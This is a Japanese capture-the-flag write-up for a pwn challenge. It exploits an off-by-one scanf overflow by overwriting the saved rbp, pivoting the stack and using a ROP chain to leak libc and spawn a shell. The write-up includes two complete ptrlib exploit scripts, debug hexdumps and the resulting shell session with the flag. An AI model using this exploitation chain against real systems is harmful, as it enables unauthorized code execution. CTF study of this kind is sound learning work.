You've got a message.
nc 34.170.146.252 40015
ファイル一式と接続先が渡される。
ソースは以下である。
#include <stdio.h>
#include <stdlib.h>
char message[4096];
void get_name(void) {
char name[128];
printf("What is your name? ");
scanf("%128[^\n]%*c", name);
printf("Message from %s: \"%s\"\n", name, message);
}
int main(int argc, char **argv) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf("Message: ");
scanf("%4096[^\n]%*c", message);
get_name();
return 0;
}二つのscanfの箇所でoff-by-oneがある。
rbpの末尾1バイトを書き換えてスタックを上へずらしてやり、そこに配置した確率的なropへ持ち込む。
rbp壊したら、leaveとretを二回呼べとPwn有識者から教えられているためget_nameの方を利用する。
libc.so.6が配布されていることからもわかる通り、まずはlibcをリークしなければならない。
スタックのアライメントに注意し、retを調整しながらprintfでリークを行う。
from ptrlib import *
elf = ELF("./wall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("./libc.so.6")
sock = Process("./wall")
# sock = Socket("nc 34.170.146.252 40015")
sock.debug = True
payload = b"SATOKI"
sock.sendlineafter("Message: ", payload)
payload = p64(next(elf.gadget("ret;"))) * 12
payload += p64(elf.plt("printf"))
payload += p64(next(elf.gadget("ret;")))
payload += p64(elf.symbol("main"))
payload += b"A" * (128 - len(payload))
sock.sendlineafter("What is your name? ", payload)
sock.recvline()
logger.info(f"leak = {hex(u64(sock.recvuntil('M', drop=True, lookahead=True)))}")実行する。
$ python solver.py
[+] __init__: Successfully created new process './wall' (PID=42535)
[+] recv: Received 0x9 (9) bytes:
00000000 4d 65 73 73 61 67 65 3a 20 |Message: |
[+] send: Sent 0x7 (7) bytes:
00000000 53 41 54 4f 4b 49 0a |SATOKI.|
[+] recv: Received 0x13 (19) bytes:
00000000 57 68 61 74 20 69 73 20 79 6f 75 72 20 6e 61 6d |What is your nam|
00000010 65 3f 20 |e? |
[+] send: Sent 0x81 (129) bytes:
00000000 1a 10 40 00 00 00 00 00 1a 10 40 00 00 00 00 00 |..@.......@.....|
00000010 1a 10 40 00 00 00 00 00 1a 10 40 00 00 00 00 00 |..@.......@.....|
*
00000060 74 10 40 00 00 00 00 00 1a 10 40 00 00 00 00 00 |t.@.......@.....|
00000070 d6 11 40 00 00 00 00 00 41 41 41 41 41 41 41 41 |..@.....AAAAAAAA|
00000080 0a |.|
[+] recv: Received 0x2a (42) bytes:
00000000 4d 65 73 73 61 67 65 20 66 72 6f 6d 20 1a 10 40 |Message from ..@|
00000010 3a 20 22 53 41 54 4f 4b 49 22 0a 50 d0 ac 8a da |: "SATOKI".P....|
00000020 7f 4d 65 73 73 61 67 65 3a 20 |.Message: |
[+] <module>: leak = 0x7fda8aacd050
[+] _close_impl: './wall' (PID=42535) killed by `close`何度か試すとfunlockfileがリークできたため、libcのベースが分かる。
あとはもう一度同じくropを行い、libcの中のsystemを呼んでやればいい。
以下のsolver.pyで行う。
from ptrlib import *
elf = ELF("./wall")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")
# sock = Process("./wall")
sock = Socket("nc 34.170.146.252 40015")
# sock.debug = True
payload = b"SATOKI"
sock.sendlineafter("Message: ", payload)
payload = p64(next(elf.gadget("ret;"))) * 12
payload += p64(elf.plt("printf"))
payload += p64(next(elf.gadget("ret;")))
payload += p64(elf.symbol("main"))
payload += b"A" * (128 - len(payload))
sock.sendlineafter("What is your name? ", payload)
sock.recvline()
libc.base = u64(sock.recvuntil("M", drop=True, lookahead=True)) - libc.symbol(
"funlockfile"
)
payload = b"TSUJI"
sock.sendlineafter("Message: ", payload)
payload = p64(next(elf.gadget("ret;"))) * 12
payload += p64(next(libc.gadget("pop rdi; ret;")))
payload += p64(next(libc.search("/bin/sh")))
payload += p64(libc.symbol("system"))
payload += b"B" * (128 - len(payload))
sock.sendlineafter("What is your name? ", payload)
sock.sh()実行する。
$ python solver.py
[+] __init__: Successfully connected to 34.170.146.252:40015
[+] base: New base address: 0x7f28ee7a9000
[ptrlib]$ Message from ␦@: "TSUJI"
[ptrlib]$ ls
bin
boot
dev
etc
flag-6d5a5cb38e69f72e74235bf99e6f1e9b.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
[ptrlib]$ cat flag-6d5a5cb38e69f72e74235bf99e6f1e9b.txt
Alpaca{p1v0T1ng_t0_Bss_i5_tR1cKy_du3_7o_st4Ck_s1Z3_Lim17}何度か実行するとシェルが得られ、ファイルにflagが書かれていた。